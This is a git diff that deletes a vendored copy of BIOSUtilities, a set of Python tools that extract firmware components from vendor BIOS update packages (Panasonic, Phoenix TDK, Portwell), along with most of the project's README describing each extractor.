Data when RCDATA is not available -def panasonic_img_extract(pe_name, pe_path, pe_file, extract_path, padding=0): - pe_data = file_to_bytes(pe_path) - - sec_bgn = pe_file.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']].VirtualAddress - img_bgn = pe_file.OPTIONAL_HEADER.BaseOfData + pe_file.OPTIONAL_HEADER.SizeOfInitializedData - img_end = sec_bgn or len(pe_data) - img_bin = pe_data[img_bgn:img_end] - img_tag = f'{pe_name} [0x{img_bgn:X}-0x{img_end:X}]' - img_out = os.path.join(extract_path, f'{img_tag}.bin') - - printer(img_tag, padding + 4) - - with open(img_out, 'wb') as out_img: - out_img.write(img_bin) - - printer('Succesfull PE Data extraction!', padding + 8) - - return bool(img_bin) - -# Parse & Extract Panasonic BIOS Package PE -def panasonic_pkg_extract(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - pkg_pe_file = get_pe_file(input_buffer, fast=True) - - if not pkg_pe_file: - return 2 - - pkg_pe_info = get_pe_info(pkg_pe_file) - - if not pkg_pe_info: - return 3 - - pkg_pe_name = path_stem(input_file) - - printer(f'Panasonic BIOS Package > PE ({pkg_pe_name})\n', padding) - - show_pe_info(pkg_pe_info, padding + 4) - - upd_pe_path,upd_pe_file,upd_pe_info = panasonic_cab_extract(input_buffer, extract_path, padding + 4) - - if not (upd_pe_path and upd_pe_file and upd_pe_info): - return 4 - - upd_pe_name = safe_name(path_stem(upd_pe_path)) - - printer(f'Panasonic BIOS Update > PE ({upd_pe_name})\n', padding + 12) - - show_pe_info(upd_pe_info, padding + 16) - - is_upd_res, is_upd_img = False, False - - is_upd_res = panasonic_res_extract(upd_pe_name, upd_pe_file, extract_path, padding + 16) - - if not is_upd_res: - is_upd_img = panasonic_img_extract(upd_pe_name, upd_pe_path, upd_pe_file, extract_path, padding + 16) - - os.remove(upd_pe_path) - - return 0 if is_upd_res or is_upd_img else 1 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_panasonic_pkg, panasonic_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/Phoenix_TDK_Extract.py b/blobs/t480/biosutilities/Phoenix_TDK_Extract.py deleted file mode 100644 index 3328ad418..000000000 --- a/blobs/t480/biosutilities/Phoenix_TDK_Extract.py +++ /dev/null @@ -1,243 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Phoenix TDK Extract -Phoenix TDK Packer Extractor -Copyright (C) 2021-2022 Plato Mavropoulos -""" - -TITLE = 'Phoenix TDK Packer Extractor v2.0_a10' - -import os -import sys -import lzma -import ctypes - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.path_ops import make_dirs, safe_name -from common.pe_ops import get_pe_file, get_pe_info -from common.patterns import PAT_MICROSOFT_MZ, PAT_MICROSOFT_PE, PAT_PHOENIX_TDK -from common.struct_ops import char, get_struct, uint32_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -class PhoenixTdkHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Tag', char*8), # 0x00 - ('Size', uint32_t), # 0x08 - ('Count', uint32_t), # 0x0C - # 0x10 - ] - - def _get_tag(self): - return self.Tag.decode('utf-8','ignore').strip() - - def struct_print(self, p): - printer(['Tag :', self._get_tag()], p, False) - printer(['Size :', f'0x{self.Size:X}'], p, False) - printer(['Entries:', self.Count], p, False) - -class PhoenixTdkEntry(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Name', char*256), # 0x000 - ('Offset', uint32_t), # 0x100 - ('Size', uint32_t), # 0x104 - ('Compressed', uint32_t), # 0x108 - ('Reserved', uint32_t), # 0x10C - # 0x110 - ] - - COMP = {0: 'None', 1: 'LZMA'} - - def __init__(self, mz_base, *args, **kwargs): - super().__init__(*args, **kwargs) - self.Base = mz_base - - def get_name(self): - return self.Name.decode('utf-8','replace').strip() - - def get_offset(self): - return self.Base + self.Offset - - def get_compression(self): - return self.COMP.get(self.Compressed, f'Unknown ({self.Compressed})') - - def struct_print(self, p): - printer(['Name :', self.get_name()], p, False) - printer(['Offset :', f'0x{self.get_offset():X}'], p, False) - printer(['Size :', f'0x{self.Size:X}'], p, False) - printer(['Compression:', self.get_compression()], p, False) - printer(['Reserved :', f'0x{self.Reserved:X}'], p, False) - -# Get Phoenix TDK Executable (MZ) Base Offset -def get_tdk_base(in_buffer, pack_off): - tdk_base_off = None # Initialize Phoenix TDK Base MZ Offset - - # Scan input file for all Microsoft executable patterns (MZ) before TDK Header Offset - mz_all = [mz for mz in PAT_MICROSOFT_MZ.finditer(in_buffer) if mz.start() < pack_off] - - # Phoenix TDK Header structure is an index table for all TDK files - # Each TDK file is referenced from the TDK Packer executable base - # The TDK Header is always at the end of the TDK Packer executable - # Thus, prefer the TDK Packer executable (MZ) closest to TDK Header - # For speed, check MZ closest to (or at) 0x0 first (expected input) - mz_ord = [mz_all[0]] + list(reversed(mz_all[1:])) - - # Parse each detected MZ - for mz in mz_ord: - mz_off = mz.start() - - # MZ (DOS) > PE (NT) image Offset is found at offset 0x3C-0x40 relative to MZ base - pe_off = mz_off + int.from_bytes(in_buffer[mz_off + 0x3C:mz_off + 0x40], 'little') - - # Skip MZ (DOS) with bad PE (NT) image Offset - if pe_off == mz_off or pe_off >= pack_off: - continue - - # Check if potential MZ > PE image magic value is valid - if PAT_MICROSOFT_PE.search(in_buffer[pe_off:pe_off + 0x4]): - try: - # Parse detected MZ > PE > Image, quickly (fast_load) - pe_file = get_pe_file(in_buffer[mz_off:], fast=True) - - # Parse detected MZ > PE > Info - pe_info = get_pe_info(pe_file) - - # Parse detected MZ > PE > Info > Product Name - pe_name = pe_info.get(b'ProductName',b'') - except Exception: - # Any error means no MZ > PE > Info > Product Name - pe_name = b'' - - # Check for valid Phoenix TDK Packer PE > Product Name - # Expected value is "TDK Packer (Extractor for Windows)" - if pe_name.upper().startswith(b'TDK PACKER'): - # Set TDK Base Offset to valid TDK Packer MZ offset - tdk_base_off = mz_off - - # Stop parsing detected MZ once TDK Base Offset is found - if tdk_base_off is not None: - break - else: - # No TDK Base Offset could be found, assume 0x0 - tdk_base_off = 0x0 - - return tdk_base_off - -# Scan input buffer for valid Phoenix TDK image -def get_phoenix_tdk(in_buffer): - # Scan input buffer for Phoenix TDK pattern - tdk_match = PAT_PHOENIX_TDK.search(in_buffer) - - if not tdk_match: - return None, None - - # Set Phoenix TDK Header ($PACK) Offset - tdk_pack_off = tdk_match.start() - - # Get Phoenix TDK Executable (MZ) Base Offset - tdk_base_off = get_tdk_base(in_buffer, tdk_pack_off) - - return tdk_base_off, tdk_pack_off - -# Check if input contains valid Phoenix TDK image -def is_phoenix_tdk(in_file): - buffer = file_to_bytes(in_file) - - return bool(get_phoenix_tdk(buffer)[1] is not None) - -# Parse & Extract Phoenix Tools Development Kit (TDK) Packer -def phoenix_tdk_extract(input_file, extract_path, padding=0): - exit_code = 0 - - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - printer('Phoenix Tools Development Kit Packer', padding) - - base_off,pack_off = get_phoenix_tdk(input_buffer) - - # Parse TDK Header structure - tdk_hdr = get_struct(input_buffer, pack_off, PhoenixTdkHeader) - - # Print TDK Header structure info - printer('Phoenix TDK Header:\n', padding + 4) - tdk_hdr.struct_print(padding + 8) - - # Check if reported TDK Header Size matches manual TDK Entry Count calculation - if tdk_hdr.Size != TDK_HDR_LEN + TDK_DUMMY_LEN + tdk_hdr.Count * TDK_MOD_LEN: - printer('Error: Phoenix TDK Header Size & Entry Count mismatch!\n', padding + 8, pause=True) - exit_code = 1 - - # Store TDK Entries offset after the placeholder data - entries_off = pack_off + TDK_HDR_LEN + TDK_DUMMY_LEN - - # Parse and extract each TDK Header Entry - for entry_index in range(tdk_hdr.Count): - # Parse TDK Entry structure - tdk_mod = get_struct(input_buffer, entries_off + entry_index * TDK_MOD_LEN, PhoenixTdkEntry, [base_off]) - - # Print TDK Entry structure info - printer(f'Phoenix TDK Entry ({entry_index + 1}/{tdk_hdr.Count}):\n', padding + 8) - tdk_mod.struct_print(padding + 12) - - # Get TDK Entry raw data Offset (TDK Base + Entry Offset) - mod_off = tdk_mod.get_offset() - - # Check if TDK Entry raw data Offset is valid - if mod_off >= len(input_buffer): - printer('Error: Phoenix TDK Entry > Offset is out of bounds!\n', padding + 12, pause=True) - exit_code = 2 - - # Store TDK Entry raw data (relative to TDK Base, not TDK Header) - mod_data = input_buffer[mod_off:mod_off + tdk_mod.Size] - - # Check if TDK Entry raw data is complete - if len(mod_data) != tdk_mod.Size: - printer('Error: Phoenix TDK Entry > Data is truncated!\n', padding + 12, pause=True) - exit_code = 3 - - # Check if TDK Entry Reserved is present - if tdk_mod.Reserved: - printer('Error: Phoenix TDK Entry > Reserved is not empty!\n', padding + 12, pause=True) - exit_code = 4 - - # Decompress TDK Entry raw data, when applicable (i.e. LZMA) - if tdk_mod.get_compression() == 'LZMA': - try: - mod_data = lzma.LZMADecompressor().decompress(mod_data) - except Exception: - printer('Error: Phoenix TDK Entry > LZMA decompression failed!\n', padding + 12, pause=True) - exit_code = 5 - - # Generate TDK Entry file name, avoid crash if Entry data is bad - mod_name = tdk_mod.get_name() or f'Unknown_{entry_index + 1:02d}.bin' - - # Generate TDK Entry file data output path - mod_file = os.path.join(extract_path, safe_name(mod_name)) - - # Account for potential duplicate file names - if os.path.isfile(mod_file): mod_file += f'_{entry_index + 1:02d}' - - # Save TDK Entry data to output file - with open(mod_file, 'wb') as out_file: - out_file.write(mod_data) - - return exit_code - -# Get ctypes Structure Sizes -TDK_HDR_LEN = ctypes.sizeof(PhoenixTdkHeader) -TDK_MOD_LEN = ctypes.sizeof(PhoenixTdkEntry) - -# Set placeholder TDK Entries Size -TDK_DUMMY_LEN = 0x200 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_phoenix_tdk, phoenix_tdk_extract).run_utility() diff --git a/blobs/t480/biosutilities/Portwell_EFI_Extract.py b/blobs/t480/biosutilities/Portwell_EFI_Extract.py deleted file mode 100644 index bb40705a9..000000000 --- a/blobs/t480/biosutilities/Portwell_EFI_Extract.py +++ /dev/null @@ -1,136 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Portwell EFI Extract -Portwell EFI Update Extractor -Copyright (C) 2021-2022 Plato Mavropoulos -""" - -TITLE = 'Portwell EFI Update Extractor v2.0_a12' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_efi import efi_decompress, is_efi_compressed -from common.path_ops import make_dirs, safe_name -from common.pe_ops import get_pe_file -from common.patterns import PAT_MICROSOFT_MZ, PAT_PORTWELL_EFI -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -FILE_NAMES = { - 0 : 'Flash.efi', - 1 : 'Fparts.txt', - 2 : 'Update.nsh', - 3 : 'Temp.bin', - 4 : 'SaveDmiData.efi' - } - -# Check if input is Portwell EFI executable -def is_portwell_efi(in_file): - in_buffer = file_to_bytes(in_file) - - try: - pe_buffer = get_portwell_pe(in_buffer)[1] - except Exception: - pe_buffer = b'' - - is_mz = PAT_MICROSOFT_MZ.search(in_buffer[:0x2]) # EFI images start with PE Header MZ - - is_uu = PAT_PORTWELL_EFI.search(pe_buffer[:0x4]) # Portwell EFI files start with - - return bool(is_mz and is_uu) - -# Get PE of Portwell EFI executable -def get_portwell_pe(in_buffer): - pe_file = get_pe_file(in_buffer, fast=True) # Analyze EFI Portable Executable (PE) - - pe_data = in_buffer[pe_file.OPTIONAL_HEADER.SizeOfImage:] # Skip EFI executable (pylint: disable=E1101) - - return pe_file, pe_data - -# Parse & Extract Portwell UEFI Unpacker -def portwell_efi_extract(input_file, extract_path, padding=0): - efi_files = [] # Initialize EFI Payload file chunks - - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - pe_file,pe_data = get_portwell_pe(input_buffer) - - efi_title = get_unpacker_tag(input_buffer, pe_file) - - printer(efi_title, padding) - - # Split EFI Payload into file chunks - efi_list = list(PAT_PORTWELL_EFI.finditer(pe_data)) - for idx,val in enumerate(efi_list): - efi_bgn = val.end() - efi_end = len(pe_data) if idx == len(efi_list) - 1 else efi_list[idx + 1].start() - efi_files.append(pe_data[efi_bgn:efi_end]) - - parse_efi_files(extract_path, efi_files, padding) - -# Get Portwell UEFI Unpacker tag -def get_unpacker_tag(input_buffer, pe_file): - unpacker_tag_txt = 'UEFI Unpacker' - - for pe_section in pe_file.sections: - # Unpacker Tag, Version, Strings etc are found in .data PE section - if pe_section.Name.startswith(b'.data'): - pe_data_bgn = pe_section.PointerToRawData - pe_data_end = pe_data_bgn + pe_section.SizeOfRawData - - # Decode any valid UTF-16 .data PE section info to a parsable text buffer - pe_data_txt = input_buffer[pe_data_bgn:pe_data_end].decode('utf-16','ignore') - - # Search .data for UEFI Unpacker tag - unpacker_tag_bgn = pe_data_txt.find(unpacker_tag_txt) - if unpacker_tag_bgn != -1: - unpacker_tag_len = pe_data_txt[unpacker_tag_bgn:].find('=') - if unpacker_tag_len != -1: - unpacker_tag_end = unpacker_tag_bgn + unpacker_tag_len - unpacker_tag_raw = pe_data_txt[unpacker_tag_bgn:unpacker_tag_end] - - # Found full UEFI Unpacker tag, store and slightly beautify the resulting text - unpacker_tag_txt = unpacker_tag_raw.strip().replace(' ',' ').replace('<',' <') - - break # Found PE .data section, skip the rest - - return unpacker_tag_txt - -# Process Portwell UEFI Unpacker payload files -def parse_efi_files(extract_path, efi_files, padding): - for file_index,file_data in enumerate(efi_files): - if file_data in (b'', b'NULL'): - continue # Skip empty/unused files - - file_name = FILE_NAMES.get(file_index, f'Unknown_{file_index}.bin') # Assign Name to EFI file - - printer(f'[{file_index}] {file_name}', padding + 4) # Print EFI file name, indicate progress - - if file_name.startswith('Unknown_'): - printer(f'Note: Detected new Portwell EFI file ID {file_index}!', padding + 8, pause=True) # Report new EFI files - - file_path = os.path.join(extract_path, safe_name(file_name)) # Store EFI file output path - - with open(file_path, 'wb') as out_file: - out_file.write(file_data) # Store EFI file data to drive - - # Attempt to detect EFI compression & decompress when applicable - if is_efi_compressed(file_data): - comp_fname = file_path + '.temp' # Store temporary compressed file name - - os.replace(file_path, comp_fname) # Rename initial/compressed file - - if efi_decompress(comp_fname, file_path, padding + 8) == 0: - os.remove(comp_fname) # Successful decompression, delete compressed file - -if __name__ == '__main__': - BIOSUtility(TITLE, is_portwell_efi, portwell_efi_extract).run_utility() diff --git a/blobs/t480/biosutilities/README.md b/blobs/t480/biosutilities/README.md deleted file mode 100644 index 0d8c29c92..000000000 --- a/blobs/t480/biosutilities/README.md +++ /dev/null @@ -1,552 +0,0 @@ -# BIOSUtilities [Refactor - WIP] -**Various BIOS Utilities for Modding/Research** - -[BIOS Utilities News Feed](https://twitter.com/platomaniac) - -* [**AMI BIOS Guard Extractor**](#ami-bios-guard-extractor) -* [**AMI UCP Update Extractor**](#ami-ucp-update-extractor) -* [**Apple EFI IM4P Splitter**](#apple-efi-im4p-splitter) -* [**Apple EFI Image Identifier**](#apple-efi-image-identifier) -* [**Apple EFI Package Extractor**](#apple-efi-package-extractor) -* [**Apple EFI PBZX Extractor**](#apple-efi-pbzx-extractor) -* [**Award BIOS Module Extractor**](#award-bios-module-extractor) -* [**Dell PFS Update Extractor**](#dell-pfs-update-extractor) -* [**Fujitsu SFX BIOS Extractor**](#fujitsu-sfx-bios-extractor) -* [**Fujitsu UPC BIOS Extractor**](#fujitsu-upc-bios-extractor) -* [**Insyde iFlash/iFdPacker Extractor**](#insyde-iflashifdpacker-extractor) -* [**Panasonic BIOS Package Extractor**](#panasonic-bios-package-extractor) -* [**Phoenix TDK Packer Extractor**](#phoenix-tdk-packer-extractor) -* [**Portwell EFI Update Extractor**](#portwell-efi-update-extractor) -* [**Toshiba BIOS COM Extractor**](#toshiba-bios-com-extractor) -* [**VAIO Packaging Manager Extractor**](#vaio-packaging-manager-extractor) - -## **AMI BIOS Guard Extractor** - -![]() - -#### **Description** - -Parses AMI BIOS Guard (a.k.a. PFAT, Platform Firmware Armoring Technology) images, extracts their SPI/BIOS/UEFI firmware components and decompiles the Intel BIOS Guard Scripts. It supports all AMI PFAT revisions and formats, including those with Index Information tables or nested AMI PFAT structures. The output comprises only final firmware components which are directly usable by end users. - -Note that the AMI PFAT structure may not have an explicit component order. AMI's BIOS Guard Firmware Update Tool (AFUBGT) updates components based on the user/OEM provided Parameters and Options or Index Information table, when applicable. That means that merging all the components together does not usually yield a proper SPI/BIOS/UEFI image. The utility does generate such a merged file with the name "00 -- \\_ALL.bin" but it is up to the end user to determine its usefulness. Moreover, any custom OEM data after the AMI PFAT structure are additionally stored in the last file with the name "\ -- \_OOB.bin" and it is once again up to the end user to determine its usefulness. In cases where the trailing custom OEM data include a nested AMI PFAT structure, the utility will process and extract it automatically as well. - -#### **Usage** - -You can either Drag & Drop or manually enter AMI BIOS Guard (PFAT) image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -Optionally, to decompile the AMI PFAT \> Intel BIOS Guard Scripts, you must have the following 3rd party utility at the "external" project directory: - -* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) - -#### **Pictures** - -![]() - -## **AMI UCP Update Extractor** - -![]() - -#### **Description** - -Parses AMI UCP (Utility Configuration Program) Update executables, extracts their firmware components (e.g. SPI/BIOS/UEFI, EC, ME etc) and shows all relevant info. It supports all AMI UCP revisions and formats, including those with nested AMI PFAT, AMI UCP or Insyde iFlash/iFdPacker structures. The output comprises only final firmware components and utilities which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter AMI UCP Update executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts -* -c or --checksum : verify AMI UCP Checksums (slow) - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tools at the "external" project directory: - -* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -Optionally, to decompile the AMI UCP \> AMI PFAT \> Intel BIOS Guard Scripts (when applicable), you must have the following 3rd party utility at the "external" project directory: - -* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) - -#### **Pictures** - -![]() - -## **Apple EFI IM4P Splitter** - -![]() - -#### **Description** - -Parses Apple IM4P multi-EFI files and splits all detected EFI firmware into separate Intel SPI/BIOS images. The output comprises only final firmware components and utilities which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Apple EFI IM4P file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you do not need any prerequisites. - -#### **Pictures** - -![]() - -## **Apple EFI Image Identifier** - -![]() - -#### **Description** - -Parses Apple EFI images and identifies them based on Intel's official $IBIOSI$ tag, which contains info such as Model, Version, Build, Date and Time. Optionally, the utility can rename the input Apple EFI image based on the retrieved $IBIOSI$ tag info, while also making sure to differentiate any EFI images with the same $IBIOSI$ tag (e.g. Production, Pre-Production) by appending a checksum of their data. - -#### **Usage** - -You can either Drag & Drop or manually enter Apple EFI image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts -* -r or --rename : rename EFI image based on its tag - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tools at the "external" project directory: - -* [UEFIFind](https://github.com/LongSoft/UEFITool/) (i.e. [UEFIFind.exe for Windows or UEFIFind for Linux](https://github.com/LongSoft/UEFITool/releases)) -* [UEFIExtract](https://github.com/LongSoft/UEFITool/) (i.e. [UEFIExtract.exe for Windows or UEFIExtract for Linux](https://github.com/LongSoft/UEFITool/releases)) - -#### **Pictures** - -![]() - -## **Apple EFI Package Extractor** - -![]() - -#### **Description** - -Parses Apple EFI PKG firmware packages (i.e. FirmwareUpdate.pkg, BridgeOSUpdateCustomer.pkg), extracts their EFI images, splits those in IM4P format and identifies/renames the final Intel SPI/BIOS images accordingly. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Apple EFI PKG package file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tools at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Apple EFI PBZX Extractor** - -![]() - -#### **Description** - -Parses Apple EFI PBZX images, re-assembles their CPIO payload and extracts its firmware components (e.g. IM4P, EFI, Utilities, Scripts etc). It supports CPIO re-assembly from both Raw and XZ compressed PBZX Chunks. The output comprises only final firmware components and utilities which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Apple EFI PBZX image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tools at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Award BIOS Module Extractor** - -![]() - -#### **Description** - -Parses Award BIOS images and extracts their modules (e.g. RAID, MEMINIT, \_EN_CODE, awardext etc). It supports all Award BIOS image revisions and formats, including those which contain LZH compressed files. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Award BIOS image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Dell PFS Update Extractor** - -![]() - -#### **Description** - -Parses Dell PFS Update images and extracts their Firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and Utilities (e.g. Flasher etc) component sections. It supports all Dell PFS revisions and formats, including those which are originally LZMA compressed in ThinOS packages (PKG), ZLIB compressed or Intel BIOS Guard (PFAT) protected. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Dell PFS Update images(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts -* -a or --advanced : extract signatures and metadata -* -s or --structure : show PFS structure information - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -Optionally, to decompile the Intel BIOS Guard (PFAT) Scripts, you must have the following 3rd party utility at the "external" project directory: - -* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) - -#### **Pictures** - -![]() - -## **Fujitsu SFX BIOS Extractor** - -![]() - -#### **Description** - -Parses Fujitsu SFX BIOS images and extracts their obfuscated Microsoft CAB archived firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and utilities (e.g. WinPhlash, PHLASH.INI etc) components. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Fujitsu SFX BIOS image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Fujitsu UPC BIOS Extractor** - -![]() - -#### **Description** - -Parses Fujitsu UPC BIOS images and extracts their EFI compressed SPI/BIOS/UEFI firmware component. The output comprises only a final firmware component which is directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Fujitsu UPC BIOS image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) - -#### **Pictures** - -![]() - -## **Insyde iFlash/iFdPacker Extractor** - -![]() - -#### **Description** - -Parses Insyde iFlash/iFdPacker Update images and extracts their firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and utilities (e.g. InsydeFlash, H2OFFT, FlsHook, iscflash, platform.ini etc) components. It supports all Insyde iFlash/iFdPacker revisions and formats, including those which are 7-Zip SFX 7z compressed in raw, obfuscated or password-protected form. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Insyde iFlash/iFdPacker Update image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you do not need any prerequisites. - -#### **Pictures** - -![]() - -## **Panasonic BIOS Package Extractor** - -![]() - -#### **Description** - -Parses Panasonic BIOS Package executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. winprom, configuration etc) components. It supports all Panasonic BIOS Package revisions and formats, including those which contain LZNT1 compressed files. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Panasonic BIOS Package executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party Python modules installed: - -* [pefile](https://pypi.org/project/pefile/) -* [lznt1](https://pypi.org/project/lznt1/) - -Moreover, you must have the following 3rd party tool at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Phoenix TDK Packer Extractor** - -![]() - -#### **Description** - -Parses Phoenix Tools Development Kit (TDK) Packer executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. WinFlash etc) components. It supports all Phoenix TDK Packer revisions and formats, including those which contain LZMA compressed files. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Phoenix Tools Development Kit (TDK) Packer executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party Python module installed: - -* [pefile](https://pypi.org/project/pefile/) - -#### **Pictures** - -![]() - -## **Portwell EFI Update Extractor** - -![]() - -#### **Description** - -Parses Portwell UEFI Unpacker EFI executables (usually named "Update.efi") and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. Flasher etc) components. It supports all known Portwell UEFI Unpacker revisions (v1.1, v1.2, v2.0) and formats (used, empty, null), including those which contain EFI compressed files. The output comprises only final firmware components and utilities which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Portwell UEFI Unpacker EFI executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### 